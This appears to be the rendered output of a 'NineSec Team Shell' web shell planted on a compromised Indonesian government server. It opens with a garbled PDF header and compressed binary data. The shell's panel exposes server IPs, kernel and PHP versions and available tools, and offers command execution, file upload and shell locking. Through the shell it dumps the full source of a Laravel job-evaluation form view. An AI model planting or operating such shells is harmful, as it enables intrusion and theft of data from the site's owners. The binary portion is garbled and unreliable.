%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 10.0.3.46  /  Your IP : 172.69.6.216
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34
System : Linux ukmjuara 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON
Directory (0775) :  /proc/16354/cwd/pemprov/storage/framework/views/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //proc/16354/cwd/pemprov/storage/framework/views/08031849d51035e0e988d0cf5f27154abbde9b44.php
<?php $__env->startSection('title','Ubah Evaluasi Jabatan'); ?>

<?php $__env->startSection('content'); ?>

<!-- Page Content -->
<div class="content">

    <nav class="breadcrumb bg-white push">
        <a class="breadcrumb-item" href="javascript:void(0)">Dashboard</a>
        <a class="breadcrumb-item" href="<?php echo e(url('evaluation')); ?>">Evaluasi Jabatan</a>
        <span class="breadcrumb-item active">Tambah</span>
    </nav>
    <?php if($errors->any()): ?>
            <div class="alert alert-danger m-t-20">
                <ul>
                    <?php $__currentLoopData = $errors->all(); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $error): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                        <li><?php echo e($error); ?></li>
                    <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                </ul>
            </div>
        <?php endif; ?>

    <!-- Material Design -->
    <div class="row">
        <div class="col-md-12">
            <form class="form-level" action="<?php echo e(url('evaluation/update/'.$data->evaluation_id)); ?>" method="post">
                <input type="hidden" name="_method" value="PUT">
                <?php echo csrf_field(); ?>
                <!-- Static Labels -->
                <div class="block">
                    <div class="block-header block-headerEdefault">
                        <h3 class="block-title">Ubah Evaluasi Jabatan</h3>
                    </div>
                    <div class="block-content">
                        <div class="form-group">
                            <div class="form-material">
                                <select name="is_structural" id="is_structural" class="form-control">
                                    <option value="">Pilih Jenis Jabatan</option>
                                    <option value="1" <?php if($data->is_structural == 1): ?> selected <?php endif; ?>>Struktural</option>
                                    <option value="0" <?php if($data->is_structural == 0): ?> selected <?php endif; ?>>Fungsional</option>
                                </select>
                                <label for="material-email">Jenis Jabatan</label>
                            </div>
                        </div>
                        <div class="form-group">
                            <div class="form-material">
                                <select class="form-control" id="organization_id" name="organization_id">
                                    <option value="">Pilih Unit Kerja ..</option>
                                    <?php $__currentLoopData = $organization; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $opt): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                        <option <?php if($data->organization_id == $opt->organization_id): ?> selected  <?php endif; ?>  value="<?php echo e($opt->organization_id); ?>"><?php echo e($opt->organization); ?></option>
                                    <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                                </select>
                                <label for="material-select">Unit Kerja</label>
                            </div>
                        </div>
                        <div class="form-group">
                            <div class="form-material">
                                <select class="form-control" id="position_id" name="position_id">
                                    <option value="">Pilih Jabatan ..</option>
                                    <?php $__currentLoopData = $position; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $opt): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                        <option <?php if($data->position_id == $opt->position_id): ?> selected  <?php endif; ?> value="<?php echo e($opt->position_id); ?>"><?php echo e($opt->position); ?></option>
                                    <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                                </select>
                                <label for="material-select">Jabatan</label>
                            </div>
                        </div>
                        <div class="form-group">
                            <div class="form-material">
                                <select class="form-control" id="agency_id" name="agency_id">
                                    <option value="">Pilih Instansi ..</option>
                                    <?php $__currentLoopData = $agency; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $opt): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                        <option <?php if($data->agency_id == $opt->agency_id): ?> selected  <?php endif; ?> value="<?php echo e($opt->agency_id); ?>"><?php echo e($opt->agency); ?></option>
                                    <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                                </select>
                                <label for="material-select">Instansi</label>
                            </div>
                        </div>
                        <div class="form-group">
                            <div class="form-material">
                                <textarea class="form-control" name="job_title" id="job_title" rows="7" readonly></textarea>
                                <label for="material-select">I. Peran Jabatan</label>
                            </div>
                        </div>
                        <div class="form-group">
                            <label for="material-select">II. Uraian Tugas</label>
                            <div id="body_description"></div>
                        </div>
                        <div class="form-group">
                            <label for="material-select">III. Tanggung Jawab</label>
                            <div id="body_responsible"></div>
                        </div>
                        <div class="form-group">
                            <label for="material-select">IV. Hasil Kerja</label>
                            <div id="body_result"></div>
                        </div>
                        
                    </div>
                </div>

                <!-- <h2 class="content-heading" style="margin:10px 0; padding:10px 0;">
                    <button class="btn btn-sm btn-success btn-duplicate" type="button"><i class="fa fa-plus"></i> &nbsp; Tambah Uraian</button>
                </h2> -->

                <div class="block">
                    <div class="block-content">
                        <div class="table-responsive">
                            <table class="table table-striped table-sm">
                                <thead>
                                    <th width="5%">#</th>
                                    <th>Faktor Evaluasi</th>
                                    <th width="200px">Ket</th>
                                    <th width="100px">Nilai Yang Diberikan</th>
                                </thead>
                                <tbody id="body-desc">
                                    <?php
                                        $factor = \App\Model\Evaluation\Factor::where('is_structural', $data->is_structural)->orderBy('is_structural')->orderBy('factor_title')->get();                                        
                                    ?>

                                    <?php $__currentLoopData = $detail; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key => $value): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                        <?php
                                            $opt    = "<option>Pilih Faktor Evjab</option>";
                                
                                            foreach ($factor as $value2) {
                                                if($value2->factor_title == $value->eval_factor) {
                                                    $opt .= "<option value='". $value2->factor_title ."' selected>". $value2->factor_title ."</option>";
                                                } else {
                                                    $opt .= "<option value='". $value2->factor_title ."'>". $value2->factor_title ."</option>";
                                                }
                                            } 

                                            $old_factor = \App\Model\Evaluation\Factor::where('factor_title', $value->eval_factor)->first();                                        
                                            $subfactor  = \App\Model\Evaluation\SubFactor::where('factor_id', $old_factor->factor_id)->orderBy('factor_id')->get();

                                            $opt_sub        = "<option>Pilih Tingkat Faktor</option>";

                                            foreach ($subfactor as $value3) {
                                                if($value3->sub_factor_title == $value->information) {
                                                    $opt_sub .= "
                                                        <option value='".$value3->sub_factor_title."' selected>". $value3->sub_factor_title ."</option>
                                                    ";
                                                } else {
                                                    $opt_sub .= "
                                                        <option value='".$value3->sub_factor_title."'>". $value3->sub_factor_title ."</option>
                                                    ";
                                                }
                                            }
                                        ?>
                                        
                                        <tr id="desc_<?php echo e($key+1); ?>">
                                            <td><?php echo e($key+1); ?>

                                                <input type="hidden" value="<?php echo e($value->detail_id); ?>" name="detail_id[]">
                                            </td>
                                            <td>
                                                <select class="form-control" data-id="<?php echo e($key+1); ?>" onchange="getInfo(this)" name="eval_factor[]"><?php echo $opt; ?></select>
                                                <div class="info_<?php echo e($key+1); ?>">
                                                    <h5 style='margin:10px 0 0 0'>Deskripsi Sub Faktor</h5> <br>
                                                    <textarea name='sub_factor_desc[]' class='form-control' id="js-ckeditor_<?php echo e($key+1); ?>" style='height:300px'> <?php echo e(strip_tags($value->eval_desc)); ?> </textarea>
                                                </div>
                                            </td>
                                            <td><select class="form-control" id="info_<?php echo e($key+1); ?>" data-id="<?php echo e($key+1); ?>" name="information[]" onchange="getValue(this)"><?php echo $opt_sub; ?></select></td>
                                            <td><input type="text" name="value[]" class="form-control" id="value_<?php echo e($key+1); ?>" readonly value="<?php echo e($value->value); ?>"></td>
                                        </tr>
                                    <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                                </tbody>
                            </table>
                        </div>

                        <div class="form-group">
                            <button type="submit" class="btn btn-warning">Simpan</button>
                            <button type="reset" class="btn btn-secondary">Reset</button>
                        </div>
                    </div>
                </div>
                <!-- END Static Labels -->
            </form>
        </div>
        <!-- END column -->
    </div>
    <!-- END row -->
</div>
<!-- END content -->

<?php $__env->stopSection(); ?>

<?php $__env->startPush('script'); ?>

    <script src="<?php echo e(asset('assets/js/plugins/jquery-validation/jquery.validate.min.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/js/plugins/jquery-validation/additional-methods.min.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/js/plugins/ckeditor/ckeditor.js')); ?>"></script>
    <script>
        jQuery(function () {
            // Init page helpers (CKEditor + SimpleMDE plugins)
            Codebase.helpers(['ckeditor']);
            //initStructural();
            initPosition();
        });

        function initStructural()
        {
            var url = '<?php echo e(url("evaluation/getfactor")); ?>';
            var id = $("#is_structural").val();

            $.get(url, {id : id}, function(data){
                console.log(data.res);
            }).done(function(data){
                $("#body_factor").html(data.factor);
            }).fail(function(){
                alert('Gagal mengambil detail data');
            });
        }

        function initPosition()
        {
            var url = '<?php echo e(url("evaluation/getdetail")); ?>';
            var position = $("#position_id").val();

            $.get(url, {position : position}, function(data){
                console.log(data.res);
            }).done(function(data){
                $("#job_title").val(data.job.job_title);
                $("#body_description").html(data.job_description);
                $("#body_responsible").html(data.job.responsible);
                $("#body_result").html(data.job.work_result);
            }).fail(function(){
                alert('Gagal mengambil detail data');
            });
        }

        $('#is_structural').bind('change', function(){
            var url = '<?php echo e(url("evaluation/getfactor")); ?>';
            var id = $(this).val();

            $.get(url, {id : id}, function(data){
                console.log(data.res);
            }).done(function(data){
                $("#body-desc").html(data.html);
                //$("#body_factor").html(data.factor);
            }).fail(function(){
                alert('Gagal mengambil detail data');
            });
        });

        $('#position_id').bind('change', function(){
            var url = '<?php echo e(url("evaluation/getdetail")); ?>';
            var position = $(this).val();

            $.get(url, {position : position}, function(data){
                console.log(data.res);
            }).done(function(data){
                $("#job_title").val(data.job.job_title);
                $("#body_description").html(data.job_description);
                $("#body_responsible").html(data.job.responsible);
                $("#body_result").html(data.job.work_result);
            }).fail(function(){
                alert('Gagal mengambil detail data');
            });
        });

        function getInfo(item)
        {
            var _this   = $(item);
            var id      = _this.data('id');
            var value   = _this.select().val();
            
            var url     = "<?php echo e(url('evaluation/getinfo')); ?>";

            $.get(url, {factor : value}, function(data){
                console.log("success");
            }).done(function(data){
                $('#info_'+id).html(data.html);
            }).fail(function(){
                alert('Gagal mengambil data info');
            });
        }

        function getValue(item)
        {
            var _this   = $(item);
            var id      = _this.data('id');
            var value   = _this.select().val();

            var url     = "<?php echo e(url('evaluation/getvalue')); ?>";

            $.get(url, {title : value, inc : id}, function(){
                console.log("success");
            }).done(function(data){
                $('#value_'+id).val(data.value);
                $('.info_'+id).html("");
                $('.info_'+id).html(data.info);
                console.log(data);
            }).then(function(){
                CKEDITOR.replace('js-ckeditor_'+id, {height : 250});
                // Add .js-ckeditor-enabled class to tag it as activated
                jQuery('#js-ckeditor_'+id).addClass('js-ckeditor-enabled');
            }).fail(function(data){
                alert('Gagal mengambil data value');
                console.log(data);
            });
        }
    </script>
    <script>
        $('.form-level').validate({
            ignore: [],
            errorClass: 'invalid-feedback animated fadeInDown',
            errorElement: 'div',
            errorPlacement: function(error, e) {
                jQuery(e).parents('.form-group').append(error);
            },
            highlight: function(e) {
                jQuery(e).closest('.form-group').removeClass('is-invalid').addClass('is-invalid');
            },
            success: function(e) {
                jQuery(e).closest('.form-group').removeClass('is-invalid');
                jQuery(e).remove();
            },
            rules: {
                'position_id': 'required',
                'organization_id': 'required'
            },
            messages: {
                'position_id': 'Posisi Pegawai harus di pilih',
                'organization_id': 'Unit Kerja harus di pilih'
            }
        });
    </script>
<?php $__env->stopPush(); ?>

<?php echo $__env->make('layouts.root', array_except(get_defined_vars(), array('__data', '__path')))->render(); ?>

NineSec Team - 2022